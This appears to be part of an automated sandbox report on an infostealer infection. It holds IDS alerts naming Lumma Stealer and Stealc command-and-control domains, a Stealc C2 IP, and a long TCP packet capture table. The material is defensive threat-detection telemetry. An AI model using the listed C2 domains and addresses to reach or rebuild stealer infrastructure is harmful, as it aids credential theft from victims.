2024-10-24T19:31:01.635952+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	58566	1.1.1.1	53	UDP
2024-10-24T19:31:01.670991+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	58566	1.1.1.1	53	UDP
2024-10-24T19:31:01.939775+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	56211	1.1.1.1	53	UDP
2024-10-24T19:31:01.954177+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	64190	1.1.1.1	53	UDP
2024-10-24T19:31:01.965736+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	51864	1.1.1.1	53	UDP
2024-10-24T19:31:01.981526+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	59774	1.1.1.1	53	UDP
2024-10-24T19:31:01.994570+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	63697	1.1.1.1	53	UDP
2024-10-24T19:31:02.009653+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	63036	1.1.1.1	53	UDP
2024-10-24T19:31:02.027425+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	60387	1.1.1.1	53	UDP
2024-10-24T19:31:02.056703+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	60387	1.1.1.1	53	UDP
2024-10-24T19:31:03.551426+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50074	104.102.49.254	443	TCP
2024-10-24T19:31:08.556883+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50078	185.215.113.37	80	TCP
2024-10-24T19:31:23.360831+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50114	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 19:29:08.564990044 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:08.565037012 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:08.565115929 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:08.566354036 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:08.566370964 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:09.430200100 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:09.430283070 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:09.435554028 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:09.435570002 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:09.435950994 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:09.489866018 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:09.518923998 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:09.559345007 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.153788090 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.153851032 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.153873920 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.153892994 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.153976917 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.154015064 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.154047966 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.154048920 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.154089928 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.166461945 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.166517019 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.166569948 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.166614056 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.166636944 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.166665077 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.175364017 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.175434113 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.182322979 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.182411909 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.182435989 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.182506084 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.182558060 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.186302900 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.186327934 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.186345100 CEST	49706	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:29:10.186352015 CEST	443	49706	104.102.49.254	192.168.2.5
Oct 24, 2024 19:29:10.204472065 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.204504967 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:10.204586983 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.204978943 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.204996109 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:10.837436914 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:10.837533951 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.876521111 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.876576900 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:10.877510071 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:10.883344889 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.883383036 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:10.883526087 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021047115 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021178961 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021303892 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021390915 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021404982 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.021451950 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021469116 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.021591902 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.021651030 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.026109934 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.026130915 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.026146889 CEST	49707	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.026154041 CEST	443	49707	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.118053913 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.118107080 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.118230104 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.118629932 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.118645906 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.750201941 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.750463009 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.752243996 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.752259970 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.752603054 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:11.754158020 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.754180908 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:11.754250050 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.266572952 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.266699076 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.266773939 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.266779900 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.266822100 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.266870022 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.266908884 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.267175913 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.267227888 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.267235994 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.267250061 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.267308950 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.267337084 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.271882057 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.271945000 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.271979094 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.317962885 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.388991117 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389168978 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389246941 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389317989 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.389364004 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389417887 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.389427900 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389575005 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389575005 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.389600039 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.389630079 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389640093 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.389646053 CEST	49708	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.389652014 CEST	443	49708	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.568790913 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.568830967 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:12.568902016 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.569190979 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:12.569205046 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.223848104 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.224004984 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.225354910 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.225364923 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.225852013 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.226979971 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.227108002 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.227137089 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.766273022 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.766501904 CEST	443	49709	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.766535997 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.766558886 CEST	49709	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.885641098 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.885680914 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:13.885767937 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.886111975 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:13.886120081 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:14.513072014 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:14.513205051 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:14.514940977 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:14.514951944 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:14.515984058 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:14.517347097 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:14.517545938 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:14.517586946 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:14.517653942 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:14.517661095 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:15.099184036 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:15.099455118 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:15.099648952 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.099648952 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.408485889 CEST	49710	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.408516884 CEST	443	49710	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:15.412827015 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.412889004 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:15.412970066 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.413419008 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:15.413439035 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.023135900 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.023278952 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.037924051 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.037962914 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.038332939 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.039985895 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.040144920 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.040210009 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.040297031 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.040322065 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.766742945 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.766993046 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:16.767081022 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.767236948 CEST	49711	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:16.767256021 CEST	443	49711	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.046928883 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.046977043 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.047053099 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.047328949 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.047347069 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.671808004 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.671885967 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.673316002 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.673325062 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.673995972 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:17.675302029 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.675394058 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:17.675400972 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:18.198112011 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:18.198342085 CEST	443	49712	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:18.198411942 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:18.198412895 CEST	49712	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:18.819900990 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:18.819971085 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:18.820058107 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:18.820333004 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:18.820365906 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.589731932 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.589818001 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.591555119 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.591571093 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.591983080 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.593409061 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594158888 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594202042 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.594306946 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594353914 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.594490051 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594516993 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.594674110 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594708920 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.594875097 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.594912052 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.595118999 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.595160961 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.595186949 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.595293045 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.595345020 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.611568928 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.611768007 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.611848116 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.611860991 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.611886978 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.611896038 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.611977100 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.611994028 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.612025976 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.612046957 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:19.612072945 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.612116098 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:19.612139940 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.308650970 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.308753967 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.308809996 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.308922052 CEST	49713	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.308943987 CEST	443	49713	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.322549105 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.322592974 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.322679043 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.322945118 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.322962046 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.927980900 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.928049088 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.929936886 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.929955006 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.930288076 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:21.934118986 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.934140921 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:21.934223890 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:22.443130970 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:22.443455935 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:22.443555117 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:22.443618059 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:22.443639040 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:22.443654060 CEST	49716	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:29:22.443660975 CEST	443	49716	104.21.53.8	192.168.2.5
Oct 24, 2024 19:29:22.488723993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:22.494272947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:22.494359970 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:22.494518995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:22.500130892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405040026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405097961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405133963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405173063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405225039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405287981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405288935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.405288935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.405323029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405354977 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.405355930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405405045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405440092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.405462980 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.405488014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.410974979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.411010981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.411043882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.411083937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.458581924 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.563292027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563350916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563386917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563400984 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.563421965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563632965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.563636065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563834906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563868999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563904047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.563937902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.564013958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.564013958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.564599037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.564632893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.564656019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.564667940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.564703941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.564713955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.565383911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.565418005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.565447092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.565452099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.565486908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.565500021 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.566140890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.566186905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.566193104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.566227913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.566277027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:23.566467047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:23.566951036 CEST	80	49725	185.215.113.16	192.168.2.5
